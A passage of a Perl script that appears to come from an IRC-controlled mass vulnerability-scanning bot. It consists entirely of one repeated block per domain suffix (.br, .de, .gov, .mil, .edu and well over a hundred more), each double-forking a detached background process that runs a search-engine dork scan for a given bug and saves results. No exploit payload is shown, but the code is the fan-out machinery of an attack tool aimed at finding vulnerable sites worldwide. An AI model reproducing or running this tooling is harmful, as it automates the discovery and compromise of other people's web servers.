&type($channel,$bug,$simpan,$dork,"BR",$type); } exit; } } if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CA",$type); } exit; } } if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CL",$type); } exit; } } if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CN",$type); } exit; } } if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CoM",$type); } exit; } } if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CZ",$type); } exit; } } if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DE",$type); } exit; } } if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DK",$type); } exit; } } if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ES",$type); } exit; } } if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EU",$type); } exit; } } if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FR",$type); } exit; } } if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HU",$type); } exit; } } if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ID",$type); } exit; } } if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IL",$type); } exit; } } if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IN",$type); } exit; } } if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"InfO",$type); } exit; } } if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IR",$type); } exit; } } if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IT",$type); } exit; } } if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JP",$type); } exit; } } if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KR",$type); } exit; } } if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MX",$type); } exit; } } if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MY",$type); } exit; } } if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NeT",$type); } exit; } } if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NL",$type); } exit; } } if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OrG",$type); } exit; } } if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PH",$type); } exit; } } if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PL",$type); } exit; } } if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RO",$type); } exit; } } if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RU",$type); } exit; } } if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TH",$type); } exit; } } if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UA",$type); } exit; } } if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UK",$type); } exit; } } if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"US",$type); } exit; } } if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SI",$type); } exit; } } if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BE",$type); } exit; } } if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BIZ",$type); } exit; } } if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"XXX",$type); } exit; } } if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TEL",$type); } exit; } } if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TV",$type); } exit; } } if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CC",$type); } exit; } } if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MIL",$type); } exit; } } if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ASIA",$type); } exit; } } if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NAME",$type); } exit; } } if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PRO",$type); } exit; } } if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TRAVEL",$type); } exit; } } if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CAT",$type); } exit; } } if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JOBS",$type); } exit; } } if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MOBI",$type); } exit; } } if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AERO",$type); } exit; } } if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"COOP",$type); } exit; } } if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EDU",$type); } exit; } } if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GOV",$type); } exit; } } if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AS",$type); } exit; } } if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AI",$type); } exit; } } if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AG",$type); } exit; } } if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AZ",$type); } exit; } } if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BH",$type); } exit; } } if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BD",$type); } exit; } } if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BZ",$type); } exit; } } if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BO",$type); } exit; } } if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BA",$type); } exit; } } if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BW",$type); } exit; } } if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VG",$type); } exit; } } if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BG",$type); } exit; } } if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BI",$type); } exit; } } if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CO",$type); } exit; } } if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CD",$type); } exit; } } if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CG",$type); } exit; } } if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CK",$type); } exit; } } if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CR",$type); } exit; } } if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HR",$type); } exit; } } if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CU",$type); } exit; } } if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CI",$type); } exit; } } if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DJ",$type); } exit; } } if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DM",$type); } exit; } } if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DO",$type); } exit; } } if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EC",$type); } exit; } } if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EG",$type); } exit; } } if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SV",$type); } exit; } } if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"EE",$type); } exit; } } if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ET",$type); } exit; } } if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FJ",$type); } exit; } } if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FI",$type); } exit; } } if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GM",$type); } exit; } } if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GI",$type); } exit; } } if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GR",$type); } exit; } } if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GL",$type); } exit; } } if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GT",$type); } exit; } } if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"GG",$type); } exit; } } if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HT",$type); } exit; } } if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HN",$type); } exit; } } if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"HK",$type); } exit; } } if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IS",$type); } exit; } } if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IE",$type); } exit; } } if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IM",$type); } exit; } } if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JE",$type); } exit; } } if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"JO",$type); } exit; } } if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KZ",$type); } exit; } } if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KE",$type); } exit; } } if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KG",$type); } exit; } } if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LV",$type); } exit; } } if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LS",$type); } exit; } } if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LY",$type); } exit; } } if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LI",$type); } exit; } } if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LT",$type); } exit; } } if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LU",$type); } exit; } } if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MW",$type); } exit; } } if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MT",$type); } exit; } } if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MU",$type); } exit; } } if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"FM",$type); } exit; } } if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MN",$type); } exit; } } if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MS",$type); } exit; } } if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MA",$type); } exit; } } if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NA",$type); } exit; } } if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NP",$type); } exit; } } if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NZ",$type); } exit; } } if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NI",$type); } exit; } } if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NF",$type); } exit; } } if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"NO",$type); } exit; } } if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"OM",$type); } exit; } } if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PK",$type); } exit; } } if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PA",$type); } exit; } } if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PY",$type); } exit; } } if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PE",$type); } exit; } } if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PN",$type); } exit; } } if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PT",$type); } exit; } } if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"PR",$type); } exit; } } if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"QA",$type); } exit; } } if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"RW",$type); } exit; } } if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SH",$type); } exit; } } if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SM",$type); } exit; } } if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SA",$type); } exit; } } if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SN",$type); } exit; } } if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SC",$type); } exit; } } if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SG",$type); } exit; } } if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SK",$type); } exit; } } if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ZA",$type); } exit; } } if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"LK",$type); } exit; } } if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VC",$type); } exit; } } if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"SE",$type); } exit; } } if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CH",$type); } exit; } } if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TW",$type); } exit; } } if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TJ",$type); } exit; } } if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BS",$type); } exit; } } if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TO",$type); } exit; } } if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TT",$type); } exit; } } if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TR",$type); } exit; } } if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"TM",$type); } exit; } } if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VI",$type); } exit; } } if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UG",$type); } exit; } } if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UY",$type); } exit; } } if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"UZ",$type); } exit; } } if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VE",$type); } exit; } } if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"VN",$type); } exit; } } if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"ZM",$type); } exit; } } if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"MUSEUM",$type); } exit; } } if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"WS",$type); } exit; } } if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AF",$type); } exit; } } if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AX",$type); } exit; } } if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AL",$type); } exit; } } if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"DZ",$type); } exit; } } if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AO",$type); } exit; } } if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AQ",$type); } exit; } } if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AM",$type); } exit; } } if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AW",$type); } exit; } } if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"AC",$type); } exit; } } if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BJ",$type); } exit; } } if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BM",$type); } exit; } } if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BT",$type); } exit; } } if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"IO",$type); } exit; } } if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BN",$type); } exit; } } if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"BF",$type); } exit; } } if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KH",$type); } exit; } } if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CM",$type); } exit; } } if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CV",$type); } exit; } } if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"KY",$type); } exit; } } if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CF",$type); } exit; } } if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CX",$type); } exit; } } if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($channel,$bug,$simpan,$dork,"CW",$type); } exit; } } if ($engine 